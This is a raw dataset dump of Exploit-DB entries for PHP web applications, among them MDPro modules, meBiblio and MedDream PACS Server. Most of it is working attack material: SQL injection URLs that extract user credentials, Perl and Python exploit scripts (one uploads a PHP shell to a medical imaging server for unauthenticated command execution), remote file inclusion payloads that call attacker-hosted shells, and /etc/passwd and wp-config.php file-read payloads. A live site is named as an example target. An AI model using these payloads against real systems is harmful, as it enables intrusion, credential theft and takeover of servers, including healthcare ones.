deardaniel/secdata-raw huggingface dataset:
Exploit-DB #9056
Description: MDPro Module CWGuestBook 2.1 - SQL Injection
Type: webapps
Platform: php
Date: 2009-06-30
Author: Dante90

Exploit:
######################################################################################
#                                                                                    #
# Author: Dante90, WaRWolFz Crew                                                     #
# Title: [0-Day] MDPRO CWGuestBook <= v2.1 Mod Remote SQL Injection By Dante90       #
# MSN: dante90.dmc4@hotmail.it                                                       #
# Web: www.warwolfz.org                                                              #
#                                                                                    #
######################################################################################

[0-Day] MDPRO CWGuestBook <= v2.1 Mod Remote SQL Injection By Dante90

[code]
http://www.victime_site.org/modules.php?op=modload&name=CWGuestBook&file=index&req=viewrecords&rid=-14 UNION SELECT 1,pn_uname,pn_pass,pn_email,5,pn_uid,7,8,9 FROM md_users WHERE pn_uid=2--
[/code]

Example:
[code]
http://www.lacinium.com/modules.php?op=modload&name=CWGuestBook&file=index&req=viewrecords&rid=-14 UNION SELECT 1,pn_uname,pn_pass,pn_email,5,pn_uid,7,8,9 FROM md_users WHERE pn_uid=2--
[/code]

# milw0rm.com [2009-06-30]
Exploit-DB #8100
Description: MDPro Module My_eGallery - 'pid' SQL Injection
Type: webapps
Platform: php
Date: 2009-02-23
Author: StAkeR

Exploit:
#!/usr/bin/perl

<<read;

    MDPro Module My_eGallery Remote SQL Injection Exploit
    by s3rg3770 && yeat - staker[at]hotmail[dot]it
    
    dork: inurl:module=My_eGallery pid
    note: works regardless of php.ini settings.
    
read

use IO::Socket;


my ($host,$path,$id) = @ARGV;


if (@ARGV != 3) 
{
       print "\n+-------------------------------------------------------+\n".
             "\r| MDPro Module My_eGallery Remote SQL Injection Exploit |\n".
             "\r+-------------------------------------------------------+\n".
             "\rby yeat - staker[at]hotmail[dot]it\n".
             "\nUsage: perl $0 host /path/ id\n".
             "\nhost: localhost\n".
             "\rpath: /mdpro/\n".
             "\rid: 2\n";
       exit;
}         
else
{      
       my ($packet,$inject,$content);
       
       $inject = "index.php?module=My_eGallery&do=showpic&pid=-1".
                 "/**/AND/**/1=2/**/UNION/**/ALL/**/SELECT/**/0".
                 ",0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,concat(0x3C7".
                 "230783E,pn_uname,0x3a,pn_pass,0x3C7230783E),0".
                 ",0,0/**/FROM/**/md_users/**/WHERE/**/pn_uid=$id/*"; 
                 
       $socket = new IO::Socket::INET(
                                       PeerAddr => $host,
                                       PeerPort => 80,
                                       Proto    => 'tcp'
                                     ) or die $!;
                                        
       
       $packet .= "GET /$inject HTTP/1.1\r\n";
       $packet .= "Host: $host\r\n";
       $packet .= "User-Agent: Lynx (textmode)\r\n";
       $packet .= "Connection: close\r\n\r\n";
       
       $socket->send($packet);
       
       while (<$socket>) {
          $content .= $_;
       }
       
       close($socket);
       
       if ($content =~ /<r0x>(.+?)<r0x>/i) {
          print "Exploit Successful: $1\n";
       }
       else {
          print "Exploit Failed.\n";
       }      
}       

# milw0rm.com [2009-02-23]
Exploit-DB #2626
Description: MDweb 1.3 - 'chemin_appli' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-23
Author: Drago84

Exploit:
###### ToXiC #########################
#
# Mdweb132-postgres: Remote File Inclusion by ToXiC CreW
#
#         ToXic Security Italian CreW
#            BuG FounD by Drago84
#
# Application Affect:
#                    Mdweb132-postgres
#
#
#  Sorce Code:
#                       http://jc.desconnets.free.fr/mdweb/install/windows/mdweb132-postgres-sans-installeur.zip
#
#
# Page:                
#     form_org.inc.php
#     country_insert.php
#
#
# Problem:
#
#        // Inclusion du fichier pour l'initialisation et le chargement des étiquettes de chaque champ.
#        include_once $chemin_appli."admin/inc/organisations/initLabelForm_org.inc.php";
#        // Inclusion du fichier pour l'initialisation et le chargement du code HTML des champs de saisie.
#        include_once $chemin_appli."admin/inc/organisations/initChampsForm_org.inc.php";
#        // Inclusion du fichier pour l'écriture des fonctions Javascript de contrôle de saisie.
#        include_once $chemin_appli."config/fonctions_ctrl_js.inc.php";
#
# Dir :
#      /mdweb/admin/inc/organisations/
#
#
#
# ExPloit :
#   http://www.site.com/Agora_PATH//mdweb/admin/inc/organisations/form_org.inc.php?chemin_appli=http://sonic-banda-di-lamer.gay/shell.php?
#
#   http://www.site.com/Agora_PATH//mdweb/admin/inc/organisations/country_insert.php?chemin_appli=http://sonic-banda-di-lamer.gay/shell.php?
#
#
#       
# GrEatZ All Member of ToXiC, Str0ke
#
#
# FUCK #Sonic
#
###### ToXiC #########

# milw0rm.com [2006-10-23]
Exploit-DB #2122
Description: ME Download System 1.3 - 'header.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-07
Author: Philipp Niedziela

Exploit:
+--------------------------------------------------------------------
+
+ ME Download System 1.3 Remote File Inclusion
+
+--------------------------------------------------------------------
+
+ Affected Software .: ME Download System 1.3
+ Venedor ...........: http://www.ehmig.net/
+ Class .............: Remote File Inclusion
+ Risk ..............: high (Remote File Execution)
+ Found by ..........: Philipp Niedziela
+ Original advisory .: http://www.bb-pcsecurity.de/sicherheit_282.htm
+ Contact ...........: webmaster[at]bb-pcsecurity[.]de
+ Affected Files ....: templates/header.php
+
+--------------------------------------------------------------------
+
+ Code of /templates/header.php:
+
+ .....
+ <?php
+ include($Vb8878b936c2bd8ae0cab.'/settings_style.php');
+ .....
+
+--------------------------------------------------------------------
+
+ $Vb8878b936c2bd8ae0cab is not properly sanitized before being used
+
+--------------------------------------------------------------------
+
+ Solution:
+ Include config-File in header.php:
+
+--------------------------------------------------------------------
+
+ PoC:
+ http://[target]/templates/header.php?$Vb8878b936c2bd8ae0cab=http://evilsite.com?cmd=ls
+
+--------------------------------------------------------------------
+
+ Notice:
+ Maybe there are more RFI-Vulns in other files, but it's very hard
+ to read this code.
+
+ Venedor has been contacted, but I didn't received any answer.
+
+--------------------------------------------------------------------
+
+ Greets:
+ Krini Gonzales
+
+-------------------------[ E O F ]----------------------------------

# milw0rm.com [2006-08-07]
Exploit-DB #4630
Description: meBiblio 0.4.5 - 'action' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-11-17
Author: ShAy6oOoN

Exploit:
~~~~~~~~~~~~~~~~~~~~~~~~
~  meBiblio 0.4.5 RFI  ~
~~~~~~~~~~~~~~~~~~~~~~~

---------------------
Author              : ShAy6oOoN
---------------------
Group               : PitBull Crew
---------------------
Script              : meBiblio 0.4.5
---------------------
Download            : http://downloads.sourceforge.net/mebiblio/meBiblio-0.4.5.tar.gz?modtime=[PII_REDACTED]&big_mirror=0
---------------------
Vulnerability Type  : Remote File Inclusion
---------------------
Vulnerable file     : index.php
---------------------
Exploit URL         : http://localhost/path/index.php?action=http://localhost/shell.txt?
---------------------
Method              : get
---------------------
Register_globals    : On
---------------------
Vulnerable variable : action
---------------------
Line number         : 41
---------------------


----------------------------------------------
 //print "<p>Action = $action" ;            
 include "$action.inc.php";                 
 }                                          
----------------------------------------------


Greetings:
----------

PitBull Crew : The_PitBull - iNs - c0ol - Raz0r - Inphex


Thanks To:
----------

str0ke

# milw0rm.com [2007-11-17]
Exploit-DB #5716
Description: mebiblio 0.4.7 - SQL Injection / Arbitrary File Upload / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-06-01
Author: CWH Underground

Exploit:
========================================================================================
 meBiblio 0.4.7 Remote SQL Injection/ Arbitrary File Upload Exploit / XSS Vulnerability
========================================================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'

AUTHOR : CWH Underground
DATE   : 1 June 2008
SITE   : www.citec.us


#####################################################
 APPLICATION : meBiblio
 VERSION     : 0.4.7 (Lastest Version)
 VENDOR      : http://mebiblio.sourceforge.net/ 
 DOWNLOAD    : http://downloads.sourceforge.net/mebiblio
#####################################################

---SQL Injection Exploit---

http://[target]/[path]/admin/journal_change_mask.inc.php?JID=1%20union%20select%201,PACS_description,1,1%20FROM%20pacs%20where%20PACS_ID=2

** You will found PACS_description in Journal Long Name's Box **


---Arbitrary File Upload Exploit---

[Files Directory must existed]

Upload Path: http://[target]/[path]/upload/uploader.html

Shell Script: http://[target]/[path]/files/evil.php


---Multiple Remote XSS Exploit---

[+]dbadd.inc.php
[+]add_journal_mask.inc.php
[+]insert_mask.inc.php
[+]search_mask.inc.php

Example:
     
http://[target]/[path]/dbadd.inc.php?sql=<XSS>
http://[target]/[path]/add_journal_mask.inc.php?InsertJournal=<XSS>
http://[target]/[path]/insert_mask.inc.php?InsertBibliography=<XSS>
http://[target]/[path]/search_mask.inc.php?LabelYear=<XSS>


##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-01]
Exploit-DB #48868
Description: MedDream PACS Server 6.8.3.751 - Remote Code Execution (Unauthenticated)
Type: webapps
Platform: php
Date: 2020-10-12
Author: bzyo

Exploit:
#!/usr/bin/python
#
# Exploit Title: MedDream PACS Server 6.8.3.751 - Remote Code Execution (Unauthenticated)
# Exploit Author: bzyo
# Twitter: @bzyo_
# Date: 10-10-2020
# Vulnerable Software: https://www.softneta.com/products/meddream-pacs-server/
# Vendor Homepage: https://www.softneta.com
# Version: 6.8.3.751
# Tested On: Windows 2016
#
#
# Update to EB 48853 < AUTHENTICATION WAS NOT NEEDED LOLZ
#
##PoC##
#
# 1. create one line php shell to call commands
# 2. run script on attacking machine
# 3. enter parameters; IP, filename, command
# 
#
# root@kali:~# python meddream.py 
# Enter IP Address: 192.168.0.223
# Enter payload filename + .php: cmd.php
# Enter command: whoami
# 170759
# <pre>nt authority\system
# </pre>
# http://192.168.0.223/Pacs/upload/20[PII_REDACTED]59--cmd.php?cmd=whoami
# 404
# 404
# 404
# 404
# 404
# 404
# 404
# 404
# 404
#
#

from urllib2 import urlopen                        
import requests
import sys
import time
from datetime import datetime, timedelta

ip_addr = raw_input("Enter IP Address: ")
user_file = raw_input("Enter payload filename + .php: ")
cmd = raw_input("Enter command: ")

URL= 'http://' + ip_addr + '/Pacs/uploadImage.php'

def main():
    session = requests.Session() 

    files = [
    ('actionvalue', (None, 'Attach', None)),
    ('uploadfile', (user_file, open(user_file, 'rb'), 'application/x-php')),
    ('action', (None, 'Attach', None)),
    ]
    
    site = session.post(URL, files=files)

    today = datetime.today()
    upload_date = today.strftime("%Y%m%d")

    less = 1
    now1 = datetime.now()
    up_time1 = now1.strftime("%H%M%S")
    print(up_time1)
    #varying time checks +/-
    now2 = now1 - timedelta(seconds=less)
    up_time2 = now2.strftime("%H%M%S")
    now3 = now2 - timedelta(seconds=less)
    up_time3 = now3.strftime("%H%M%S")
    now4 = now3 - timedelta(seconds=less)
    up_time4 = now4.strftime("%H%M%S")
    now5 = now4 - timedelta(seconds=less)
    up_time5 = now5.strftime("%H%M%S")
    now6 = now5 - timedelta(seconds=less)
    up_time6 = now6.strftime("%H%M%S")
    now7 = now6 - timedelta(seconds=less)
    up_time7 = now7.strftime("%H%M%S")
    now8 = now1 + timedelta(seconds=less)
    up_time8 = now8.strftime("%H%M%S")
    now9 = now8 + timedelta(seconds=less)
    up_time9 = now8.strftime("%H%M%S")
    now10 = now1 + timedelta(seconds=less)
    up_time10 = now9.strftime("%H%M%S")


    up_time_array = [up_time1, up_time2, up_time3, up_time4, up_time5, up_time6, up_time7, up_time8, up_time9, up_time10]  
    for i in up_time_array: 
        r = session.get('http://' + ip_addr + '/Pacs/upload/'+ upload_date + "-" + i + "--" + user_file + "?cmd=" + cmd)
        if r.status_code == 200: 
            print r.content
            print r.url
        else:
            print ("404")

if __name__ == '__main__':
    main()
Exploit-DB #45344
Description: MedDream PACS Server Premium 6.7.1.1 - 'email' SQL Injection
Type: webapps
Platform: php
Date: 2018-09-07
Author: Carlos Avila

Exploit:
# Exploit Title: MedDream PACS Server Premium 6.7.1.1 - 'email' SQL Injection
# Date: 2018-05-23
# Software https://www.softneta.com/products/meddream-pacs-server/downloads.html
# Version: MedDreamPACS Premium 6.7.1.1 
# Exploit Author: Carlos Avila
# Google Dork: inurl:Pacs/login.php, inurl:pacsone filetype:php home, inurl:pacsone filetype:php login
# Category: webapps
# Tested on: Windows
# http://twitter.com/badboy_nt

# Proof of Concept

POST /Pacs/userSignup.php HTTP/1.1
Host: 192.168.6.107
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.6.107/Pacs/userSignup.php?hostname=localhost&database=dicom
Content-Type: application/x-www-form-urlencoded
Content-Length: 129
Cookie: PHPSESSID=4l1c7irpgk1apcqk7ll9d89104
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1

hostname=localhost&database=dicom&username=hi&[CREDENTIAL_REDACTED]=jh&lastname=k23klk3l2&email=test@gmail.com&action=Sign+Up

# Parameters affected: email, username

root@deb-17-3:~/meddream# sqlmap -r sqli-signup -f -p email --dbms mysql --dbs 

[10:23:16] [INFO] testing MySQL
[10:23:16] [INFO] confirming MySQL
[10:23:16] [INFO] the back-end DBMS is MySQL
web application technology: Apache, PHP 7.0.30
back-end DBMS: MySQL >= 5.0.0
[10:23:16] [INFO] fetching database names
[10:23:16] [INFO] used SQL query returns 2 entries
[10:23:16] [INFO] resumed: information_schema
[10:23:16] [INFO] resumed: dicom
available databases [2]:
[*] dicom
[*] information_schema
Exploit-DB #3924
Description: Media Gallery for Geeklog 1.4.8a - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-14
Author: ThE TiGeR

Exploit:
#Media Gallery =>v1.4 Remote file inclusion

#Download script : http://switch.dl.sourceforge.net/sourceforge/mediagallery/mediagallery-1.4.6-1.3.11.tar.gz

#Thanks Str0ke

#Exploit :

#http://victime.com/mediagallery/public_html/maint/ftpmedia.php?_MG_CONF[path_html]= shell.txt?

#Discovered by ThE TiGeR

#Miro_Tiger100[at]Hotmail[com]

# milw0rm.com [2007-05-14]
Exploit-DB #51737
Description: Media Library Assistant Wordpress Plugin - RCE and LFI
Type: webapps
Platform: php
Date: 2023-10-09
Author: Florent MONTEL

Exploit:
# Exploit Title: Media Library Assistant Wordpress Plugin - RCE and LFI 
# Date: 2023/09/05
# CVE: CVE-2023-4634
# Exploit Author: Florent MONTEL / Patrowl.io / @Pepitoh / Twitter @Pepito_oh
# Exploitation path: https://patrowl.io/blog-wordpress-media-library-rce-cve-2023-4634/
# Exploit: https://github.com/Patrowl/CVE-2023-4634/
# Vendor Homepage: https://fr.wordpress.org/plugins/media-library-assistant/
# Software Link: https://fr.wordpress.org/plugins/media-library-assistant/
# Version: < 3.10
# Tested on: 3.09
# Description:
# Media Library Assistant Wordpress Plugin in version < 3.10 is affected by an unauthenticated remote reference to Imagick() conversion which allows attacker to perform LFI and RCE depending on the Imagick configuration on the remote server. The affected page is: wp-content/plugins/media-library-assistant/includes/mla-stream-image.php


#LFI

Steps to trigger conversion of a remote SVG

Create a remote FTP server at ftp://X.X.X.X:21 (http will not work, see references)

Host 2 files :
- malicious.svg
- malicious.svg[1]


Payload:
For LFI, getting wp-config.php:

Both malicious.svg and malicious.svg[1] on the remote FTP:

<svg width="500" height="500"
xmlns:xlink="http://www.w3.org/1999/xlink">
xmlns="http://www.w3.org/2000/svg">
<image xlink:href= "text:../../../../wp-config.php" width="500" height="500" />
</svg>

Then trigger conversion with:
http://127.0.0.1/wp-content/plugins/media-library-assistant/includes/mla-stream-image.php?mla_stream_file=ftp://X.X.X.X:21/malicious.svg&mla_debug=log&mla_stream_frame=1


# Directory listing or RCE:
To achieve Directory listing or even RCE, it is a little more complicated. 

Use exploit available here:
https://github.com/Patrowl/CVE-2023-4634/

# Note
Exploitation will depend on the policy.xml Imagick configuration file installed on the remote server. All exploitation paths and scripts have been performed with a default wordpress configuration and installation (Wordpress has high chance to have the default Imagick configuration).
Exploit-DB #41557
Description: Media Search Engine Script - 'search' SQL Injection
Type: webapps
Platform: php
Date: 2017-03-09
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Media Search Engine Script - SQL Injection
# Google Dork: N/A
# Date: 09.03.2017
# Vendor Homepage: http://www.websitescripts.org/
# Software: http://www.websitescripts.org/website-scripts/media-search-engine-script/prod_51.html
# Demo: http://www.websitescripts.org/demo/mediasearchengine/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/search.php?search=[SQL]
# Etc..
# # # # #
Exploit-DB #12141
Description: MediaInSpot CMS - Local File Inclusion (1)
Type: webapps
Platform: php
Date: 2010-04-11
Author: Amoo Arash

Exploit:
# Title : MediaInSpot CMS LFI Vulnerability
# Author: Amoo Arash
# Date : 2010-04-10

[~]######################################### InformatioN #############################################[~]

[~] Title : MediaInSpot CMS LFI Vulnerability
[~] Author : Amoo Arash

[~]######################################### ExploiT #############################################[~]

[~] Vulnerable File :

http://127.0.0.1/view/lang/index.php?page=?page=[LFI]

[~] ExploiT :

../../../../../../../etc/passwd

[~] Example :

http://127.0.0.1/view/lang/index.php?page=?page=../../../../../../../etc/passwd


[~]######################################### FinisH :D #############################################[~]
Exploit-DB #17292
Description: MediaInSpot CMS - Local File Inclusion (2)
Type: webapps
Platform: php
Date: 2011-05-16
Author: wlhaan haker

Exploit:
#Name : Media In Spot LFI Vulnerability
#Date : May,16 2011
#Vendor Url :http:http://www.mediainspot.com/

#Dork:"
"Powred By Media In Spot""

#Author : wlhaan haker <iit[at]hotmail.com>


###############################################################################################################
Exploit:
http://server/path/index.php?page=../../../../../../../../../../../../../../../../../../../../etc/passwd
 
###############################################################################################################
Fix:

demo

http://site.com/view/lang/index.php?page=../../../../../../../../../../../../../../../../../../../../etc/passwd

http://site.com/index.php?page=../../../../../../../../../../../../../../../../../../../../etc/passwd

http://site.com/ufp/view/lang/index.php?page=../../../../../../../../../../../../../../../../../../../../etc/passwd
Exploit-DB #17293
Description: MediaInSpot CMS - SQL Injection
Type: webapps
Platform: php
Date: 2011-05-16
Author: Iolo Morganwg

Exploit:
# Exploit Title: Media In Spot SQL Injection
# Google Dork: intext:""Powered By Media In Spot"
# Date: 16/05/2011
# Author: Iolo Morganwg
# Category: Web App
# Version: PHP
# Tested on: Windows XP
# Vendor: http://www.mediainspot.com/
# Note: domain parameter is vulnerable to sql injection

# Vulnerability
http://site/view/lang/index.php?page=area.php&domain=3%27
Exploit-DB #27534
Description: MediaSlash Gallery - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-03-30
Author: Morocco Security Team

Exploit:
source: https://www.securityfocus.com/bid/17323/info

MediaSlash Gallery is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/index.php?rub=http://www.example.com
Exploit-DB #7458
Description: Mediatheka 4.2 - 'lang' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-12-14
Author: Osirys

Exploit:
[START]

#########################################################################################
[0x01] Informations:

Script         : Mediatheka 4.2
Download       : http://www.hotscripts.com/jump.php?listing_id=79106&jump_type=1
Vulnerability  : Local File Inclusion
Author         : Osirys
Contact        : osirys[at]live[dot]it
Notes          : Proud to be Italian
Greets:        : XaDoS, x0r, emgent, Jay, str0ke

#########################################################################################
[0x02] Bug:[Local File Inclusion]
######

Bugged file is: /[path]/index.php

[CODE]

	if(isset($_GET['lang']))
		$lang = $_GET['lang'];
	else
		$lang = 'en';
	include("langs/$lang.php");

[/CODE]


[!] EXPLOIT: /[path]/index.php?lang=[local_file_to_include]
                                    ../../../../../../../../../../../etc/passwd%00
#########################################################################################

[/END]

# milw0rm.com [2008-12-14]